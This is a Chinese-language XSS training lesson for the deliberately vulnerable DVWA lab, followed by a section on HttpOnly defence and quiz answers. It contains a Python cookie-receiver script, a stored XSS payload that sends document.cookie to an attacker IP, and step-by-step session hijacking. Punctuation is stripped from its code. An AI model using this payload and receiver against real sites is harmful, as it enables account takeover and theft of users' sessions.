以下是第七周周二学习内容。今天将亲眼见证 XSS 的真正威力——它远不止弹窗恶作剧而是可以静默窃取用户登录凭证、劫持会话甚至接管账户。你将在 DVWA 靶场上完成一次经典的存储型 XSS Cookie 窃取攻击并深刻理解 HttpOnly 等防御措施的重要性。第七周·周二XSS 利用进阶——Cookie 窃取与会话劫持演示 今日学习目标达成效果能说出XSS 攻击至少四种实际危害Cookie 窃取、会话劫持、钓鱼欺骗、网页篡改能独立搭建一个简易的 Cookie 接收器Python 脚本监听攻击者服务器端口等待受害者浏览器自动发送 Cookie能在 DVWA 低安全等级下利用存储型 XSS 注入恶意脚本使得任何访问该页面的用户都会将 Cookie 悄悄发送到攻击者服务器能使用浏览器开发者工具和攻击者接收端日志验证 Cookie 确实被窃取能用窃取到的 Cookie在另一个浏览器或无痕窗口中实现会话劫持无需密码即可登录受害者账户能解释为什么设置HttpOnly标志可以有效防止 JavaScript 读取 Cookie从而阻断 Cookie 窃取型 XSS能从攻防两面总结XSS 的根源是输出未编码但深入利用需要理解 Cookie 属性、同源策略和 JavaScript 网络请求。 一、XSS 的真实危害——不只是弹窗昨天我们通过scriptalert(xss)/script验证了漏洞存在但在真实攻击中没有人会只为了弹窗。攻击者利用 XSS 可以窃取 Cookie读取document.cookie并发送到远程服务器通常用于劫持会话。会话劫持使用窃取的 Session ID 伪造用户身份无需密码登录账户。钓鱼在页面中动态插入虚假登录框骗取用户密码。网页篡改修改页面内容、重定向到恶意网站进行欺诈或传播病毒。键盘记录/浏览器利用监听键盘事件或利用浏览器漏洞进一步控制系统。今天聚焦最经典的攻击链存储型 XSS → Cookie 窃取 → 会话劫持。这也是推动 HttpOnly Cookie 广泛部署的直接原因。 二、攻击原理与必要条件1. 存储型 XSS 的传播优势攻击者将恶意脚本提交到留言板、个人资料等位置脚本存储在服务端。任何访问该页面的用户都会触发脚本。不需要诱导点击传染性极强。2. JavaScript 读取 Cookie在浏览器中document.cookie会返回当前域下所有非 HttpOnly的 Cookie 字符串。如果会话 ID 存储在 Cookie 中且未设置HttpOnly攻击者脚本可以轻易获取。3. 将数据外传由于同源策略限制脚本不能直接读取其他站点的内容但可以向任意远程服务器发送请求如Image、fetch。常见手法newImage().srchttp://攻击者IP/log?cookiedocument.cookie;浏览器请求这张“图片”时Cookie 就被附加在 URL 中发送给了攻击者。4. 接收端攻击者只需要一个简单的 HTTP 服务器监听解析请求中的查询参数即可记录受害者 Cookie。✍️ 三、动手实践DVWA 存储型 XSS Cookie 窃取全流程实验环境攻击者服务器你的 Kali 或本机IP 地址192.168.1.100请替换为你的实际 IPDVWA 靶机http://192.168.1.200或同一台机器使用 127.0.0.1 亦可但跨 IP 更真实确保 DVWA 安全等级设为Low并登录。步骤 1搭建攻击者 Cookie 接收器在你的攻击机上创建一个 Python 脚本steal.py用于监听端口并记录任何访问fromhttp.serverimportHTTPServer,BaseHTTPRequestHandlerimportsysclassCookieHandler(BaseHTTPRequestHandler):defdo_GET(self):# 打印完整的请求路径包含Cookieprint(f[] 收到窃取请求:{self.path})# 从路径中提取cookie示例/log?cookiexxxifcookieinself.path:cookie_valueself.path.split(cookie)[1].split( )[0]withopen(cookies.txt,a)asf:f.write(cookie_value\n)print(f[!] 成功记录Cookie:{cookie_value})# 返回一个1x1透明像素避免引起怀疑self.send_response(200)self.send_header(Content-type,image/gif)self.end_headers()# 透明GIF的base64self.wfile.write(b\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b)if__name____main__:port9999serverHTTPServer((0.0.0.0,port),CookieHandler)print(f[*] Cookie接收器运行在端口{port}...)server.serve_forever()运行python3 steal.py监听在 9999 端口。步骤 2在 DVWA 中注入恶意脚本进入 DVWA → XSS (Stored) 页面存储型XSS。在留言板文本框中输入以下 payload注意替换 IP 为你的攻击机 IPscriptnewImage().srchttp://192.168.1.100:9999/log?cookiedocument.cookie;/script点击 “Sign Guestbook”。此时你本人会触发一次该脚本但因为是管理员我们暂不计。刷新页面或清除留言后留言已被存储。步骤 3模拟受害者访问触发窃取打开另一个浏览器如 Edge或使用无痕窗口确保该浏览器未登录 DVWA 的任何会话然后登录 DVWA 作为普通用户或者直接以未登录状态访问留言板页面但为了窃取 Cookie受害者必须先登录并获得会话 Cookie。使用该浏览器访问 DVWA 的存储型 XSS 页面即留言板列表页。DVWA 通常会显示所有留言脚本自动执行。此时查看攻击机终端你将看到类似[] 收到窃取请求: /log?cookiePHPSESSIDabc123; securitylow [!] 成功记录Cookie: PHPSESSIDabc123; securitylowcookies.txt文件中会保存完整的 Cookie 字符串。步骤 4使用窃取的 Cookie 进行会话劫持在原浏览器中退出 DVWA或清除 Cookie关闭页面。打开完全不同的浏览器如之前用 Chrome现用 Firefox或继续在无痕窗口确保没有任何 DVWA Cookie。按 F12 打开开发者工具 → Application → Cookies手动添加一条 Cookie名称PHPSESSID根据实际窃取到的键名值从cookies.txt中复制过来的哈希值域名和路径保持默认与 DVWA 站点一致。直接访问http://192.168.1.200/DVWA/index.php你会发现无需用户名密码已经成功以受害者身份登录。可以进入其他页面操作完全受攻击者控制。安全启示这就是会话劫持——拿到会话 ID就等于拿到了账户。即使密码再复杂也无济于事。 四、关键的防御HttpOnly Cookie如果被窃取的PHPSESSIDCookie 设置了HttpOnly标志在Set-Cookie响应头中可见JavaScript 的document.cookie将无法读取它。上述攻击就会失败。在 PHP 中设置session.cookie_httponly1或在调用setcookie()时传入第7个参数true。今天你可以在实验后修改 DVWA 的配置或 PHP 配置将session.cookie_httponly开启然后再试一次会发现document.cookie中不再包含PHPSESSID。这证明了 HttpOnly 是防御 Cookie 窃取型 XSS 的第一道坚实屏障。但注意即使 HttpOnly 阻止了 Cookie 读取攻击者仍可通过 XSS 进行其他操作如发起伪造请求、修改页面、钓鱼因此根治 XSS 仍需要输出编码。 五、课后测试题与解析测试题 1在 DVWA 存储型 XSS 中植入窃取 Cookie 的脚本并在攻击端收到 Cookie。写出你使用的 payload并简述窃取原理。参考答案PayloadscriptnewImage().srchttp://攻击者IP:9999/log?cookiedocument.cookie;/script原理该脚本通过创建 Image 对象向攻击者服务器发送一个 HTTP GET 请求请求路径中包含document.cookie的值。由于浏览器对img标签的加载没有跨域限制攻击者服务器可以接收到该请求并提取出 Cookie 信息。前提是 Cookie 未设置HttpOnly属性。测试题 2如何通过设置 Cookie 的 HttpOnly 属性防御 XSS 窃取 Cookie参考答案在服务端设置 Cookie 时添加HttpOnly标志例如在 PHP 中setcookie(name,value,0,/,,false,true)的最后一个参数为 true或session.cookie_httponly On。设置后浏览器将禁止 JavaScript 通过document.cookie访问该 Cookie从而有效防止 XSS 脚本直接窃取会话 ID。但 HttpOnly 不能防御所有类型的 XSS 攻击如利用 XSS 直接发起 CSRF 请求因此仍需对输出进行编码来根除 XSS。✅ 今日学习效果自检清单我搭建了 Cookie 接收器并成功记录了受害者的会话 Cookie我在 DVWA 存储型 XSS 中植入了恶意脚本并触发了窃取我使用窃取的 Cookie 在另一个浏览器中无需密码登录了 DVWA我理解了document.cookie与 HttpOnly 的关系我能用一句话向别人解释为什么 HttpOnly Cookie 能防 XSS 窃取会话我知道 XSS 的危害远不止弹窗而是可以完全接管用户账户⚠️ 阶段避坑重点攻击者 IP 必须可达确保靶机可以访问你的攻击机 IP同一网段或 NAT 设置正确否则new Image请求会失败。不要窃取自己的 Cookie 就以为成功必须用另一个浏览器或隐私窗口模拟真实受害者环境才能真正理解会话劫持的全过程。存储型 XSS 的“自触发”问题提交 payload 时你自己的浏览器也会执行这可能导致你自己的 Cookie 被记录属于正常现象。用不同浏览器可以清晰区分攻击者与受害者。Cookie 路径和域手动设置 Cookie 进行劫持时务必确保路径和域与实际 Cookie 一致否则浏览器不会发送。防火墙和端口确保攻击机 9999 端口没有被防火墙拦截否则无法接收连接。实验后清理在 DVWA 中删除包含恶意脚本的留言或重置数据库避免影响他人或后续实验。今天你亲手打通了 XSS 攻击链中最经典的一环。明天我们将学习 XSS 的各种绕过技巧和内容安全策略CSP的防御你将看到攻击者如何面对输入过滤以及防御者如何布下天罗地网。请保留攻击机环境我们还会继续使用。